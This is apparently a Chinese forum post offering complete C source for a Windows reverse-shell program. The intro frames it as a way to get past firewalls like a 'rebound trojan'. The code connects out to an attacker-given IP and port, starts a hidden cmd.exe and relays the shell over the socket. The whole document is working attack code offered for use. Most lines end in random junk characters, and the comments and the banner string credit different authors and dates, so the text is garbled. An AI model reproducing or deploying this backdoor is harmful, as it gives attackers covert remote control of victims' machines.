这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d\25
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/* ============================== D
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Rebound port in Windows NT /QQjb4S}
By wind,2006/7 RiFUa
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===============================*/ T`9nY!
#include 6h0}ZM
#include %pqB/
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#pragma comment(lib,"wsock32.lib") $EzWUt
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void OutputShell(); 9!.S9[[N
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <~S]jtL.j:
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void main(int argc,char **argv) dN7.W
{ '*Ld,`
WSADATA stWsaData; }$
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int nRet; CTxP3a9]
SOCKADDR_IN stSaiClient,stSaiServer; {qOqtkj
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if(argc != 3) }Yc5U,A;
{ lQy-&d|=#^
printf("Useage:\n\rRebound DestIP DestPort\n"); |kTq
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return; W Bb*2
} !Uv>>MCr
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WSAStartup(MAKEWORD(2,2),&stWsaData); f.$*9Fkw
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oxdX2"WwU
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stSaiClient.sin_family = AF_INET; zg$ag4%Qgg
stSaiClient.sin_port = htons(0); >8b%*f8R
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ) TRUx
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &gUa^5'#
{ mkrVeBp
printf("Bind Socket Failed!\n"); 7p1B"%
return; z 7+>G/o
} 4YR{
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stSaiServer.sin_family = AF_INET; _dmG#_1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 96P&+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2+Oz$9`.
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n{&;@mgI
{ tU *`X(;
printf("Connect Error!"); b=U3&CV9
return; p#_5w
} GLX{EG9Z
OutputShell(); E VC]B}
} M|zTs\1I
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void OutputShell() Od:-fw
{ ^P*-bV4
char szBuff[1024]; ~>P(nI
SECURITY_ATTRIBUTES stSecurityAttributes; 6As%<g=
OSVERSIONINFO stOsversionInfo; D wr 9}Z-]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Bf6i{`!G
STARTUPINFO stStartupInfo; E+LQyvF[
char *szShell; cOZBl;}
PROCESS_INFORMATION stProcessInformation; ael] {'h]
unsigned long lBytesRead; ZKq#PB/.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M{)&SNI*C
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "a3?m)
stSecurityAttributes.lpSecurityDescriptor = 0; /Ov1eQBNG
stSecurityAttributes.bInheritHandle = TRUE; R/kJUl6HEl
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `j!_tE`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y7%SHYC p[
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i5&,Bpfo-
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uG +ZR:
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stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; Px9 K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;(A-
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GetVersionEx(&stOsversionInfo); 6:6A"A
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switch(stOsversionInfo.dwPlatformId) FSAX,Y
{ C"%B>e
case 1: (|rf>=B+H
szShell = "command.com"; vxLr034
break; [HUK
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default: %u_dxpx
szShell = "cmd.exe"; kyt HOn#
break; C'R6mz% Q?
} |0?v4%g
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T,rRE7
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send(sClient,szMsg,77,0); 6,MQT,F
while(1) C&R U
{ oveK;\7/m
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "v(pluN|
if(lBytesRead) VaGQre
{ ICr.Gwe3_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6}!1a?X
send(sClient,szBuff,lBytesRead,0); zSU,le
} }6<5mq)%
else 4*Gv0#dga
{ I%GQ3D"=
lBytesRead=recv(sClient,szBuff,1024,0); j"aY\cLr t
if(lBytesRead<=0) break; T93st<F=R
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &[_@f#
} V*5v
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} !c1M{klP
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return; +^&i(7a[?
}